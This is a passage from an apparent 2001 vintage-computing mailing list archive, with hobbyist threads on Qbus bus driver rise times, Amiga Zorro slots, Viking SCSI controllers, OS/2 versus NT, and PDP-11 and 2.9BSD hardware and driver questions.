looks as if > >the rise and fall times on the drivers are just a little fast > >(nominal 9ns compared to a minimum of 10ns according to the qbus spec). From cmcmanis at mcmanis.com Fri Jun 29 00:06:30 2001 From: cmcmanis at mcmanis.com (Chuck McManis) Date: Sun Feb 27 19:05:03 2005 Subject: Unibus / Qbus bus drivers and receivers In-Reply-To: <3B3C0482.CF9F875A@pacbell.net> References: <1898.579T2050T1375603optimus@canit.se> <3B3BEBF5.723763D0@greenbelt.com> <5.0.0.25.2.20010628205608.02379db0@209.185.79.193> Message-ID: <5.0.0.25.2.20010628215512.02343200@209.185.79.193> At 09:30 PM 6/28/01 -0700, you wrote: >Well, the question is "how worried about ringing *should* I be in a >single backplane configuration if I use bus drivers which have a >rise/fall time of 9 ns, when the bus spec says that the rise/fall >time of bus drivers must not be *less* than 10 ns?" > >I'm guessing that it will probably be OK, but I really want this >thing to "work first time" and be reliable so I feel a little >uncomfortable cutting corners like this right at the outset. I take it you are worried about violating the AC spec that reads in part: Rise/Fall Times (from 10% to 90% and 90% to 10%) must be no faster than 10ns. This parameter relates to the 120 ohm bus termination and indicates that the R/C termination constant will critically damp signals that switch at 10ns. If you drive it faster you will get a bit of bounce in your edges as the termination network isn't quite fast enough to absorb the energy and thus some of your signal gets reflected back. Anyway, you could do a couple of things. You could load the capacitance on your bus drivers a bit and slow them down, you could run them through some other gates to slow them down, or you could just use them and look at it with a scope once you're running. If you want to "check ahead of time" then kludge together a card with some on it, switch them on and off and watch the ring. Now how much should you be worried about? If the signal overshoots by more than about 10% of Vcc I'd worry about it or under shoots by a similar amount. Or if the ground bounce induced by switching everything is more than about .2 volts. Clearly you are a worthy designer unlike a PC guy who would said, "Hey if it breaks they'll blame the BIOS or something so no worries!" --Chuck Then again, I've not done transmission line design in about 10yrs so if I'm completely wrong you get your money back :-) From dlinder at uiuc.edu Fri Jun 29 00:10:02 2001 From: dlinder at uiuc.edu (Dan Linder) Date: Sun Feb 27 19:05:03 2005 Subject: Whats a reasonable collection? In-Reply-To: <20010628193821.79845.qmail@web9506.mail.yahoo.com> Message-ID: On Thu, 28 Jun 2001, Ethan Dicks wrote: > Zorro is Zorro. All Amigas that have an expansion bus (not sure about the > A600/CDTV/CD32...) do AUTOCONFIG. The difference is that the A1000 and A500 > have an 86-pin expansion bus that isn't identical to Zorro, but there are > simple adapters to give you one or two true Zorro slots. Even the A590 > is a true AUTOCONFIG device Got my A2000 in 7th or 8th grade - used it until the end of college. So Zorro II in there, and Zorro III on the 3000/4000... where's Zorro I? - Dan Dan Linder / dlinder @ uiuc.edu Graduate Student, College of Engineering, Dept. of Computer Science - Dept. of Computer Science Teaching Assistant - DoRES Computer Accessibility Researcher From cmcmanis at mcmanis.com Fri Jun 29 00:15:08 2001 From: cmcmanis at mcmanis.com (Chuck McManis) Date: Sun Feb 27 19:05:04 2005 Subject: Viking SCSI controller secrets? Message-ID: <5.0.0.25.2.20010628220842.01edc9f0@209.185.79.193> Hi everyone, Is there some secret lore about Viking SCSI controllers that I need to get them to work? I've got a Viking QDT (dual wide Disk and Tape) that has V1.5 of the firmware. When I plug it into my VAX with two RZ55's in an expansion cabinet and type SHO DEV (MV3500) it says: UQSSP Disk controller (177xxx) -? Then finds the TK70 and adds UQSSP Disk controller (xxxxx) -? Its not exact but basically the system knows I've got an MSCP disk controller and a second TMSCP tape controller and when it asks them what devices they have attached the Viking seems to be answering ("I don't know.") Now if I hook it up to a box that had a couple of MO drives in it (an old Aspire cabinet) then it reports DUA0 (@0) and DUA1 (@0) and no tape (as expected, and it doesn't even print the -?) I don't have the funky cable to get to the RS232 port (although the Aspire box does, it doesn't seem to work correctly) Questions: 1) If I build a funky cable, which three wires do I use? 2) Shouldn't it just work? --Chuck From wmsmith at earthlink.net Fri Jun 29 00:22:00 2001 From: wmsmith at earthlink.net (Wayne M. Smith) Date: Sun Feb 27 19:05:04 2005 Subject: Old stuff found + help identifying... References: Message-ID: <012e01c1005b$a03a8c20$39b1b2d1@Smith.earthlink.net> > On Thu, 28 Jun 2001, Carlos Murillo wrote: > > > A few days ago one of the storage rooms at the university > > was cleaned up and I grabbed all the computer-related stuff > > that I could. Not a lot of variety, though. Besides > > from the wintel carcasses and Mac plus remains, I found > > one Datapoint 1550 and several modules from a type system that > > I have never seen. The cpu, floppy disk drives and graphics > > modules snap onto each other's side very neatly. There are > > several of these systems, with the corresponding monitors and > > keyboards. Alas, the only power supply unit that I found > > is incomplete and badly damaged. Do you guys have some > > info about these systems? Pics can be found at > > The Datapoint 1550 is I believe just a terminal, but it may well be a > full-fledged computer. I know the model 1600 and 1800 are all-in-one > computers which were actually meant to be the CPU in a multi-node > Datapoint network (connected via ARCNET). > > Look inside the unit and if there is a card cage then it's most likely a > CPU. Late 1970's vintage. The book "Computer Power for the Small Business" by Sippl/Dahl (1979) profiles the Datapoint 1500. The 1500 looks a lot like the 1550 you have, except that the keyboard and CPU/display are separate units. Storage is in a separate dual side-by-side floppy drive. According to my specs, the 1500 came with 32K of memory and sold for $5,950. Datapoint was HQ'd in San Antonio, TX. From wmsmith at earthlink.net Fri Jun 29 00:27:44 2001 From: wmsmith at earthlink.net (Wayne M. Smith) Date: Sun Feb 27 19:05:04 2005 Subject: Good Samaritan Rule? References: Message-ID: <012f01c1005c$3a531840$39b1b2d1@Smith.earthlink.net> > > > If this is about statements like that, then I think > > we're going to argue > > > about differences in UK and US usage of English. > > Which quickly becomes > > > pointless.. > > > > > Your "pointless" point is a good one. You must > > remember you're dealing with the "Kingdom of Nice." > > Over here, declarative statements are so uncommon > > they're rather jarring. > > OK, If, as I said, this whole thing developed from a misunderstanding > then I think it is best if I offer an apology for making a statement that > could be interpreted as a flame (though that was not my intention), and > that we all go back to discussing classic computers, repairing and using > them, etc. Apologies from my end as well. Back to more important matters. -W From Lee.Davison at merlincommunications.com Fri Jun 29 00:31:33 2001 From: Lee.Davison at merlincommunications.com (Davison, Lee) Date: Sun Feb 27 19:05:04 2005 Subject: Whats a reasonable collection? Message-ID: <707AA588EE28D311BCD50090276D7D0007A2AC@BUSH02> Hi Dan. > On Thu, 28 Jun 2001, Ethan Dicks wrote: > > > Zorro is Zorro. All Amigas that have an expansion bus (not sure about > the > > A600/CDTV/CD32...) do AUTOCONFIG. The difference is that the A1000 and > A500 > > have an 86-pin expansion bus that isn't identical to Zorro, but there > are > > simple adapters to give you one or two true Zorro slots. Even the A590 > > is a true AUTOCONFIG device > > Got my A2000 in 7th or 8th grade - used it until the end of college. So > Zorro II in there, and Zorro III on the 3000/4000... where's Zorro I? > That's the 86 pin on the A500 and A1000 Lee. ---------------------------------------------------------------------------- ---- This email is intended only for the above named addressee(s). The information contained in this email may contain information which is confidential. The views expressed in this email are personal to the sender and do not in any way reflect the views of the company. If you have received this email and you are not a named addressee please delete it from your system and contact Merlin Communications International IT Department on +44 20 7344 5888. _____________________________________________________________________ This message has been checked for all known viruses by Star Internet delivered through the MessageLabs Virus Scanning Service. For further information visit http://www.star.net.uk/stats.asp or alternatively call Star Internet for details on the Virus Scanning Service. From ethan_dicks at yahoo.com Fri Jun 29 00:49:51 2001 From: ethan_dicks at yahoo.com (Ethan Dicks) Date: Sun Feb 27 19:05:04 2005 Subject: 1% (was Re: Looking for info - En-link Ethernet card for the Apple II) In-Reply-To: <3B3BEBF5.723763D0@greenbelt.com> Message-ID: <20010629054951.61236.qmail@web9507.mail.yahoo.com> --- Eric Chomko wrote: > > >> ...by the pound (weight). Many coin dealers... buy... that way. > > > Say what? You do know about fiat money, right? You don't expect to melt pot > metal for a profit do you? I heard about a couple of jokers once, who drove down to Mexico from Texas to pick up old Mexican coins - as many as their pick-up truck would carry. They were busted at the border for bringing over too large a quantity of undeclared currency. So much for profiting from the money. > > All British notes that I've seen have been in pounds... > > Yes, got a couple off eBay. Looking for a deal with some Brits to send them > back. I have one that I saved from my Summer in England in 1985, when they were still tender. I'd heard they were replacing them with Pound coins and kept one as a $1.56 souvenir. > Does the UK have sports memorabilia per se? Soccer or cricket perhaps? > Cards, programs, any printed matter? I would expect phone cards are collectable there. They are in N.Z. -ethan ===== Visit "The Seventh Continent" http://penguincentral.com/penguincentral.html __________________________________________________ Do You Yahoo!? Get personalized email addresses from Yahoo! Mail http://personal.mail.yahoo.com/ From ethan_dicks at yahoo.com Fri Jun 29 00:52:48 2001 From: ethan_dicks at yahoo.com (Ethan Dicks) Date: Sun Feb 27 19:05:04 2005 Subject: Anybody good at disassembly???? In-Reply-To: Message-ID: <20010629055248.90060.qmail@web9504.mail.yahoo.com> --- Brian Chase wrote: > On Thu, 28 Jun 2001, Gene Ehrich wrote: > > > I remember back in the early days at IBM right before the 360 was announced > > that they were talking in the industry of the possibility of a > > disassembler. Most people poo-poo'd it as impossible. > > Maybe hindsight is always 20/20, but I don't see why machine code > disassembly would be viewed as an impossible task? I mean, weren't people > able to look at hex or octal dumps and translate them into the > corresponding mnemonics? This generally isn't a task that requires a high > IQ, it's basically a simple lookup operation. Hell, the problem is better > suited to computer based solutions than it is to people doing it. Think of the machines in place when the 360 was king. The real problem isn't the instructions, it's knowing where to put labels and what is data and what is instruction (at least, in a Von Neumann machine, unlike the Harvard Architecture of the original questor's PIC). I have a disassembler for the 6502, written in PET BASIC. It's dog slow, but it does work. Most of the trouble is at guessing where the labels should go and keeping them straight. -ethan ===== Visit "The Seventh Continent" http://penguincentral.com/penguincentral.html __________________________________________________ Do You Yahoo!? Get personalized email addresses from Yahoo! Mail http://personal.mail.yahoo.com/ From fernande at internet1.net Fri Jun 29 00:53:31 2001 From: fernande at internet1.net (Chad Fernandez) Date: Sun Feb 27 19:05:04 2005 Subject: Whats a reasonable collection? References: <1383.579T500T454041optimus@canit.se> Message-ID: <3B3C17DB.635DFCE7@internet1.net> Mike, I have an EISA server built by Unisys, and I have some very nice SCSI cards for it built by Adaptec and Buslogic. The only Adaptec card for Microchannel is based in the 1540 series (ISA) and is only good for 5megs/sec, just like the ISA version. My EISA SCSI cards are good for 10 or 20megs/sec depending on the card. I wish Adaptec would have made a 32-bit Microchannel card based on the 7800 series Adaptec chip, like the EISA cards. Microchannel SCSI cards from Buslogic must be very rare.... I haven't seen a single one on Ebay since I have been looking. I haven't really looked into the IBM Fast/Wide because I really want a differential card, and the Diff version seems to be RS6000 only. Besides it uses funky connectors and the cables seem to be quite rare. I did find a Wide/Diff card by NCR, but it is slow, isn't supported by Windows, and the internal connector is narrow, not Wide. I have an internal cable plugged into the external connector than runs back into the case through an unused slot up to my Seagate Elite! I guess at this point I wouldn't mind having a couple of F/W IBM cards with cables and any Wide Buslogic card, either Diff or SE. .......Yeah I'm running Win98 on it now, but after I get settled with my Linux box, I'll put something else on the PS/2..... it's a Model 80 with Reply Corporation Powerboard with a Kingston Turbochip (AMD 133). Chad Fernandez Michigan, USA Mike Ford wrote: > > >Only thing I don't like is a lack of fast SCSI cards. I have all kinds > >of good scsi cards for my EISA computer, but not my Microchannel. I > > SCSI MCA cards are so common in the systems I find I don't bother to keep > them anymore. Want to explain the above so I understand what to look for? From ethan_dicks at yahoo.com Fri Jun 29 00:56:00 2001 From: ethan_dicks at yahoo.com (Ethan Dicks) Date: Sun Feb 27 19:05:04 2005 Subject: Back from the fleamarket In-Reply-To: <2512.579T150T12774111optimus@canit.se> Message-ID: <20010629055600.61498.qmail@web9507.mail.yahoo.com> --- Iggy Drougge wrote: > I went on a shopping spree at the fleamarket today (well... =). > The card I bought is made by Novell, and has got the serial number 89935 and > the application number 5657. Those numbers are noted with a marker pen. The > words "BOARD 738-61-001 REV B" are screened onto the board. The board itself > is a small eight-bit ISA card without any connectors (save for the ISA card- > edge, of course). The construction is quite simple, consisting of four 74LS > chips (one 7407N and three 74LS244N), a PAL, an AMD AM25LS2521PCB (another > 74LS chip?) and a big gob of glue which conceals another chip. That's it, > apart from some discrete components. Bruno told me that it's some kind of > diagnostics card, but not exactly what kind of diagnostics card. I think it's a hardware key for some kind of Novell software. > Then he had a KA410-A board, which my research tells me is either a µVAX 2000 > or a VAXstation 2000. The difference is a jumper - enable the onboard frame buffer and look for a keyboard/mouse or ignore the frame buffer and expect there to be a level converter on the keyboard/mouse port and provide 4 TTYs. > It's just a card and nothing else, though. I don't > suppose it's really feasible to construct a working system out of it? My > friend bought it for the SCSI chip, which he intends to use in order to > repair a Supra Amiga SCSI controller. I'll trade you a 5380 chip for the uVAX board! No desoldering required! -ethan > > He also had a lot of Ungermann-Bass boards. They had some kind of VME-look-a- > like DIN connector in the middle of one edge as well as some resembling D-sub > connectors, all intended to plug into a back plane of some kind. They used a > plethora of processors, both Motorola m68k, i80186 and i960. > > I finally bought a Datapulse 106A pulse generator, mainly due to its low > price > and the nice case (nineteen inch carry case with leather handles =). > > BTW, what's a Xerox FLEX? It's a small box with two centronics ports, a > miniscule "parallel port" (so the label says) and a BNC connector. > > I also found a Zenith Z-station 235Sn, which looked like some kind of pizza > box workstation, but I couldn't pry it open. What is it? > > -- > En ligne avec Thor 2.6a. > > Gå med i SUGA, Swedish Usergroup of Amiga! > WWW: http://swedish.usergroup.amiga.tm/ > BBS: 08-6582572, telnet://sua.ath.cx:42512 > ===== Visit "The Seventh Continent" http://penguincentral.com/penguincentral.html __________________________________________________ Do You Yahoo!? Get personalized email addresses from Yahoo! Mail http://personal.mail.yahoo.com/ From fernande at internet1.net Fri Jun 29 00:58:13 2001 From: fernande at internet1.net (Chad Fernandez) Date: Sun Feb 27 19:05:04 2005 Subject: Whats a reasonable collection? References: <407.579T1700T12795433optimus@canit.se> Message-ID: <3B3C18F4.387485F4@internet1.net> What? How am I ruining anybodys quoting? Chad Iggy Drougge wrote: > > Chad Fernandez skrev: > > >Well, I never heard of Zorro, and I wouldn't know Turbochannel if I saw > >it. I suspect PCI doesn't use jumpers because most cards are, "Plug and > >Play". Besides, PCI wasn't around when Microchannel was king of the > >corporate world. > > Zorro was. =? > > BTW, is ruining people's quoting a hobby of yours? From ethan_dicks at yahoo.com Fri Jun 29 01:06:43 2001 From: ethan_dicks at yahoo.com (Ethan Dicks) Date: Sun Feb 27 19:05:04 2005 Subject: Whats a reasonable collection? In-Reply-To: <707AA588EE28D311BCD50090276D7D0007A2AC@BUSH02> Message-ID: <20010629060643.62535.qmail@web9507.mail.yahoo.com> --- "Davison, Lee" wrote: > Hi Dan. > > > On Thu, 28 Jun 2001, Ethan Dicks wrote: > > > > > Zorro is Zorro. > > > > Got my A2000 in 7th or 8th grade - used it until the end of college. So > > Zorro II in there, and Zorro III on the 3000/4000... where's Zorro I? > > > That's the 86 pin on the A500 and A1000 Nope. Zorro I has 100 pins, just like Zorro II. The difference is that the cards are nearly 12" x 12", not PC/ISA shaped. They didn't last long. The only expansion box I ever saw that used them, lay flat on top of the A1000, under the monitor, and provided two slots. I don't know if anyone ever made any Zorro I cards other than FAST RAM. -ethan ===== Visit "The Seventh Continent" http://penguincentral.com/penguincentral.html __________________________________________________ Do You Yahoo!? Get personalized email addresses from Yahoo! Mail http://personal.mail.yahoo.com/ From fernande at internet1.net Fri Jun 29 01:07:38 2001 From: fernande at internet1.net (Chad Fernandez) Date: Sun Feb 27 19:05:04 2005 Subject: Whats a reasonable collection? References: Message-ID: <3B3C1B2A.35D9711@internet1.net> The ADF and INF files seem to be used to set the resources that the cards use. My computers complain before any OS is loaded if they notice an extra board, or the lack of a board. No onboard bios will load without the proper installation via ADF/INF file, either. I don't think it has anything to do with M$. Chad Fernandez Michigan, USA Brian Chase wrote: > Is it possible that maybe the existence of .ADF and .INF files is just a > brain-damaged Microsoft OS requirement? > > -brian. From ethan_dicks at yahoo.com Fri Jun 29 01:12:29 2001 From: ethan_dicks at yahoo.com (Ethan Dicks) Date: Sun Feb 27 19:05:04 2005 Subject: Unibus / Qbus bus drivers and receivers In-Reply-To: <3B3BF637.59F1B477@pacbell.net> Message-ID: <20010629061229.13683.qmail@web9502.mail.yahoo.com> --- Michael Davidson wrote: > I am just about to embark upon designing a small qbus interface > card, and am trying to work out what to use for bus drivers and > receivers. > > The 8641 quad bus transceiver is still available, but it appears > that the 8640, 8881, 8131 and 8837 are all obsolete and out of > production. Right. I think I need a pair of 8837s, in fact, to repair my H-11 floppy controller. > Also any suggestions for substitutes for bus drivers and receivers? > I seem to remember the 7438 being capable of sinking enough current > to drive a 120 ohm bus line effectively, but I'm not sure. I cannot cite chapter and verse, but in one of the designer handbooks, I recall seeing the 7438 listed as a functional equivalent, but not a pin- compatible equivalent, for one of DECs approved bus driver/receiver chips. If you are trying to design a device without the proper handbook and/or chip-designer's guide, you are probably going to have lots of hidden gotchas appear unless you happen to clone the bus interface of an existing design. For COMBOARDs, we used 8641s and DC013s for the UNIBUS products, and the real-deal, expensive DC010, DC004, DC005 chips for the QBus product. I think I remember seeing third-party boards using 74LS240s for bus buffers, but I do not know how well they'd work in a loaded box (or any VAX newer than the uVAX-II). -ethan ===== Visit "The Seventh Continent" http://penguincentral.com/penguincentral.html __________________________________________________ Do You Yahoo!? Get personalized email addresses from Yahoo! Mail http://personal.mail.yahoo.com/ From cmcmanis at mcmanis.com Fri Jun 29 01:32:15 2001 From: cmcmanis at mcmanis.com (Chuck McManis) Date: Sun Feb 27 19:05:04 2005 Subject: VMS Condist for $10 act now Message-ID: <5.0.0.25.2.20010628233151.022d5040@209.185.79.193> Won't last the evening ... --Chuck From michael_davidson at pacbell.net Fri Jun 29 01:38:30 2001 From: michael_davidson at pacbell.net (Michael Davidson) Date: Sun Feb 27 19:05:04 2005 Subject: Unibus / Qbus bus drivers and receivers References: <20010629061229.13683.qmail@web9502.mail.yahoo.com> Message-ID: <3B3C2266.460FCE0E@pacbell.net> Ethan Dicks wrote: > > If you are trying to design a device without the proper handbook and/or > chip-designer's guide, you are probably going to have lots of hidden > gotchas appear unless you happen to clone the bus interface of an existing > design. Well, I started out intending to do a pretty exact clone of the standard DEC bus interface, which is when I discovered that some of the chips just weren't available any more :-( > For COMBOARDs, we used 8641s and DC013s for the UNIBUS products, and the > real-deal, expensive DC010, DC004, DC005 chips for the QBus product. I > think I remember seeing third-party boards using 74LS240s for bus buffers, > but I do not know how well they'd work in a loaded box (or any VAX newer > than the uVAX-II). Yes, I thought that a 74LS240 might be OK as a bus receiver so this sounds plausible. Of course I could always just use 8641's for everything but this would probably push the chip count up a bit and right now it's looking as if space will be quite tight on the particular prototype board that I'm thinking of using. Thanks for the help. From Lee.Davison at merlincommunications.com Fri Jun 29 01:41:35 2001 From: Lee.Davison at merlincommunications.com (Davison, Lee) Date: Sun Feb 27 19:05:04 2005 Subject: Whats a reasonable collection? Message-ID: <707AA588EE28D311BCD50090276D7D0007A2AD@BUSH02> > Nope. Zorro I has 100 pins, just like Zorro II. The difference is that > the cards are nearly 12" x 12", not PC/ISA shaped. They didn't last long. > The only expansion box I ever saw that used them, lay flat on top of the > A1000, under the monitor, and provided two slots. I don't know if anyone > ever made any Zorro I cards other than FAST RAM. > The 86 pin connector is labeled Zorro on the RevA A500 schematics (the hand drawn ones) and a Zorro to Zorro II expansion circuit for up to 6 true ZII slots is there as well. There is no mention of any 12" x 12" form factor boards in any of the C= technical refs. I have for all the OCS/ECS machines up to A3000(T) Lee. ---------------------------------------------------------------------------- ---- This email is intended only for the above named addressee(s). The information contained in this email may contain information which is confidential. The views expressed in this email are personal to the sender and do not in any way reflect the views of the company. If you have received this email and you are not a named addressee please delete it from your system and contact Merlin Communications International IT Department on +44 20 7344 5888. _____________________________________________________________________ This message has been checked for all known viruses by Star Internet delivered through the MessageLabs Virus Scanning Service. For further information visit http://www.star.net.uk/stats.asp or alternatively call Star Internet for details on the Virus Scanning Service. From dittman at dittman.net Fri Jun 29 02:17:14 2001 From: dittman at dittman.net (Eric Dittman) Date: Sun Feb 27 19:05:04 2005 Subject: VMS Condist for $10 act now In-Reply-To: <5.0.0.25.2.20010628233151.022d5040@209.185.79.193> from "Chuck McManis" at Jun 28, 2001 11:32:15 PM Message-ID: <200106290717.f5T7HE516520@narnia.int.dittman.net> > > > Won't last the evening ... You're probably right. They usually go for quite a bit more, but this is from '94. I wouldn't mind finding the latest ConDist for the Alpha, though. I already have the latest VAX ConDist (I actually have quite a few different VAX ConDists, but only two of the Alpha ConDists). -- Eric Dittman dittman@dittman.net From cmcmanis at mcmanis.com Fri Jun 29 02:40:41 2001 From: cmcmanis at mcmanis.com (Chuck McManis) Date: Sun Feb 27 19:05:04 2005 Subject: VMS Condist for $10 act now In-Reply-To: <200106290717.f5T7HE516520@narnia.int.dittman.net> References: <5.0.0.25.2.20010628233151.022d5040@209.185.79.193> Message-ID: <5.0.0.25.2.20010629003958.03220eb0@209.185.79.193> At 02:17 AM 6/29/01 -0500, you wrote: > > > > > > Won't last the evening ... > >You're probably right. They usually go for quite a bit more, >but this is from '94. Ah but it includes the OS CDs so you get both the layered products and the OS, combine this with the Hobbyiest license and your rockin out with VMS. --Chuck From gareth.knight at btinternet.com Fri Jun 29 03:26:32 2001 From: gareth.knight at btinternet.com (gareth.knight@btinternet.com) Date: Sun Feb 27 19:05:04 2005 Subject: 1% (was Re: Looking for info - En-link Ethernet card for the Apple II) Message-ID: <3b3c3bb8.1d3e.0@btinternet.com> Iggy wrote: relatively recently)> The two pound coins have been available in limited quantity since the mid-1980s. I remember a teacher at my infants school showing one to the class. I'm not sure of the exact year, sometime around 1985. Gareth Knight From thedm at sunflower.com Fri Jun 29 06:14:22 2001 From: thedm at sunflower.com (Bill Girnius) Date: Sun Feb 27 19:05:04 2005 Subject: Old stuff found + help identifying... References: <012e01c1005b$a03a8c20$39b1b2d1@Smith.earthlink.net> Message-ID: <012401c1008c$a62d69a0$8d347c18@lawrence.ks.us> The snap on modules could possibly be old Convergent Technologies boxes, since bought by Unisys. We used those systems in the Coast Guard. Do the have a large row of double pin connectors on the right side at the base and lock in place with a black lever? ----- Original Message ----- From: "Wayne M. Smith" To: Sent: Friday, June 29, 2001 12:22 AM Subject: Re: Old stuff found + help identifying... > > On Thu, 28 Jun 2001, Carlos Murillo wrote: > > > > > A few days ago one of the storage rooms at the > university > > > was cleaned up and I grabbed all the computer-related > stuff > > > that I could. Not a lot of variety, though. Besides > > > from the wintel carcasses and Mac plus remains, I found > > > one Datapoint 1550 and several modules from a type > system that > > > I have never seen. The cpu, floppy disk drives and > graphics > > > modules snap onto each other's side very neatly. There > are > > > several of these systems, with the corresponding > monitors and > > > keyboards. Alas, the only power supply unit that I > found > > > is incomplete and badly damaged. Do you guys have some > > > info about these systems? Pics can be found at > > > > The Datapoint 1550 is I believe just a terminal, but it > may well be a > > full-fledged computer. I know the model 1600 and 1800 are > all-in-one > > computers which were actually meant to be the CPU in a > multi-node > > Datapoint network (connected via ARCNET). > > > > Look inside the unit and if there is a card cage then it's > most likely a > > CPU. Late 1970's vintage. > > The book "Computer Power for the Small Business" by > Sippl/Dahl (1979) profiles the Datapoint 1500. The 1500 > looks a lot like the 1550 you have, except that the keyboard > and CPU/display are separate units. Storage is in a > separate dual side-by-side floppy drive. According to my > specs, the 1500 came with 32K of memory and sold for $5,950. > Datapoint was HQ'd in San Antonio, TX. > From optimus at canit.se Thu Jun 28 21:18:37 2001 From: optimus at canit.se (Iggy Drougge) Date: Sun Feb 27 19:05:04 2005 Subject: OS/2 In-Reply-To: <200106282335.f5SNZ9k15565@bg-tc-ppp1667.monmouth.com> Message-ID: <2739.580T1850T1985695optimus@canit.se> Bill Pechter skrev: >> Bill Pechter skrev: >> >> >I'd liked a cross between OS/2 and VAX/VMS... maybe with FreeBSD >> >thrown in. >> >> Isn't that Windows NT? >Not if you have to use the GUI to admin it and reboot to change >network addresses. You have to? I haven't used NT myself, but we all know about its OS/2 roots, and it was developed by old VMS engineers. >> >Always liked OS/2 and always will. IBM was screwed by M$ who kept >> >changing Win32 and keeping new apps from running on OS/2. >> >> So what? OS/2 is OS/2 and Windows is Windows. You can't just rely on some >> other OS vendor to supply you with the right API and applications. >But M$ promised if you code to Win32S it would be portable to OS/2, >Win3.1 and Win95/NT and kept changing the DLLs to break it. But OS/2 should really each its own. I really don't think that compatibility with foreign systems is really beneficial to evolution. If people can just run application X under Windows or Mac emulation, or rebooting into Windows for that matter, or even just run some UNIX/GNU port, why would anyone ever bother to develop application X for platform Y? People tend not to exploit the particular features of platform Y if running platform X software or hardware will do the job, and then there is little incentive to keep running platform Y. Look at the Mac, probably the world's most incompatible machine, yet probably the non-Wintel platform with the most balanced software and hardware selection. Similarly, I think that Linux's lack of many packages which are considered common appliances on other platforms owes much due to the fact that a sizable portion of "Linux users" run dual-boot systems. A lot of people have also complained about the fact that the ISA slots on big- box Amigas were inactive (something Ethan Dicks has got a solution for =), but if people could have used cheap ISA cards from the beginning, there would probably never have been many Zorro cards developed, and Amiga users would have had to deal with jumpers en masse instead of autoconfig and high transfer rates. >The only problem in OS/2 was if the Workplace Shell threads blocked and >locked up you'd lose the desktop... but all the server services >like network kept going. I'd say the Workplace Shell is a problem in itself. It's so very IBM-ishly unelegant. >Getting a prompt and login from Telnet was possible on OS/2 when it >wasn't standard in NT. Possible != standard. >The ftp and telnet servers made OS/2 pretty compatible to >FreeBSD/Linux/Unix in what it could do on a lan. Dito for just about every OS made after 1975. ;-) >Miserable Redmond $%*s. Amen. -- En ligne avec Thor 2.6a. Vi m?ste vara r?dda om varandra - det ?r v?rt enda reciproka pronomen. From engdahl at cle.ab.com Fri Jun 29 07:37:03 2001 From: engdahl at cle.ab.com (Jonathan Engdahl) Date: Sun Feb 27 19:05:04 2005 Subject: adding MSCP driver to 2.9BSD Message-ID: <001001c10098$383f8340$ac4099a1@rcs.ra.rockwell.com> I took the MSCP disk driver (the ra driver) from the PRO-350 version of 2.9BSD on the PUPS archive, and added it to the regular 2.9 distribution. The new UNIX builds and runs. I created nodes in /dev, and added a line to /etc/dtab, but the driver doesn't seem to work. I have figured out that the autoconfig will not work with this driver. It reports "No autoconfig routines". Evidently, probe is not implemented in either the 2.9 or 2.11 version of the MSCP driver. So, how to I get UNIX to "attach" the ra driver? This is the first time I've tried doing a UNIX sysgen, so extra explanations might be required. The only documentation I have is what I downloaded along with the distribution. -- Jonathan Engdahl Rockwell Automation Principal Research Engineer 24800 Tungsten Road Advanced Technology Euclid, OH 44117 USA Euclid Labs http://users.safeaccess.com/engdahl From engdahl at cle.ab.com Fri Jun 29 07:50:06 2001 From: engdahl at cle.ab.com (Jonathan Engdahl) Date: Sun Feb 27 19:05:04 2005 Subject: PDP-11/53 jumper doc found Message-ID: <001401c1009a$05b20180$ac4099a1@rcs.ra.rockwell.com> I guess there must have been only one copy of the 11/53 CPU board manual left in the world, and Giorgio Ungarelli had it in Switzerland. He sent me a copy, and I will eventually get this information up on my web site. It is a supplement to the MicroPDP-11/73 manual. It documents the baud rate, boot, and halt option jumpers, etc. for the older version of the KDJ11-DA, the one with only .5 meg of RAM on board, and the CPU in the center. I've got one of these boards, and a couple of the newer ones (KDJ11-SD). I'm sure that once we know what the jumpers do, we can figure out where they got moved on the newer boards. I think the reason the board won't boot when you don't have a front panel is that the boot option inputs float to "15", which is "manufaturing test loop". -- Jonathan Engdahl Rockwell Automation Principal Research Engineer 24800 Tungsten Road Advanced Technology Euclid, OH 44117 USA Euclid Labs http://users.safeaccess.com/engdahl From dhquebbeman at theestopinalgroup.com Fri Jun 29 08:00:10 2001 From: dhquebbeman at theestopinalgroup.com (Douglas Quebbeman) Date: Sun Feb 27 19:05:04 2005 Subject: OS/2 Message-ID: <7A9BACCEF0171D4FB77019F5104CDD3715126E@jeffserver.tegjeff.com> > I'd say the Workplace Shell is a problem in itself. It's so > very IBM-ishly unelegant. Stardock added plenty of elegance to WPS... but they got screwed by IBM dropping out, like other OS/2 ISVs... If you haven't seen Object Desktop for OS/2, I'll see if I can dig up some screen shots to point you at... Regards, -dq From edick at idcomm.com Fri Jun 29 08:01:07 2001 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 19:05:04 2005 Subject: Unibus / Qbus bus drivers and receivers References: <1898.579T2050T1375603optimus@canit.se> <3B3BEBF5.723763D0@greenbelt.com> <5.0.0.25.2.20010628205608.02379db0@209.185.79.193> <5.0.0.25.2.20010628215512.02343200@209.185.79.193> Message-ID: <002501c1009b$902d3fe0$9cc762d8@idcomm.com> Why not see if you can find a copy of the old (and still occasionally available) Motorola MECL System Design Handbook. It consists, mostly, of a discussion of signal integrity issues from the standpoint you're concerned with in this case. It does focus on MECL, but the principles are the same irrespective of the technology. The author, Blood, is the authority behind most of the current generation of signal integrity software in use today, theough he's seldom given credit. Dick ----- Original Message ----- From: "Chuck McManis" To: Sent: Thursday, June 28, 2001 11:06 PM Subject: Re: Unibus / Qbus bus drivers and receivers > At 09:30 PM 6/28/01 -0700, you wrote: > >Well, the question is "how worried about ringing *should* I be in a > >single backplane configuration if I use bus drivers which have a > >rise/fall time of 9 ns, when the bus spec says that the rise/fall > >time of bus drivers must not be *less* than 10 ns?" > > > >I'm guessing that it will probably be OK, but I really want this > >thing to "work first time" and be reliable so I feel a little > >uncomfortable cutting corners like this right at the outset. > > I take it you are worried about violating the AC spec that reads in part: > > Rise/Fall Times (from 10% to 90% and 90% to 10%) > must be no faster than 10ns. > > This parameter relates to the 120 ohm bus termination and indicates that > the R/C termination constant will critically damp signals that switch at > 10ns. If you drive it faster you will get a bit of bounce in your edges as > the termination network isn't quite fast enough to absorb the energy and > thus some of your signal gets reflected back. Anyway, you could do a couple > of things. You could load the capacitance on your bus drivers a bit and > slow them down, you could run them through some other gates to slow them > down, or you could just use them and look at it with a scope once you're > running. If you want to "check ahead of time" then kludge together a card > with some on it, switch them on and off and watch the ring. > > Now how much should you be worried about? If the signal overshoots by more > than about 10% of Vcc I'd worry about it or under shoots by a similar > amount. Or if the ground bounce induced by switching everything is more > than about .2 volts. > > Clearly you are a worthy designer unlike a PC guy who would said, 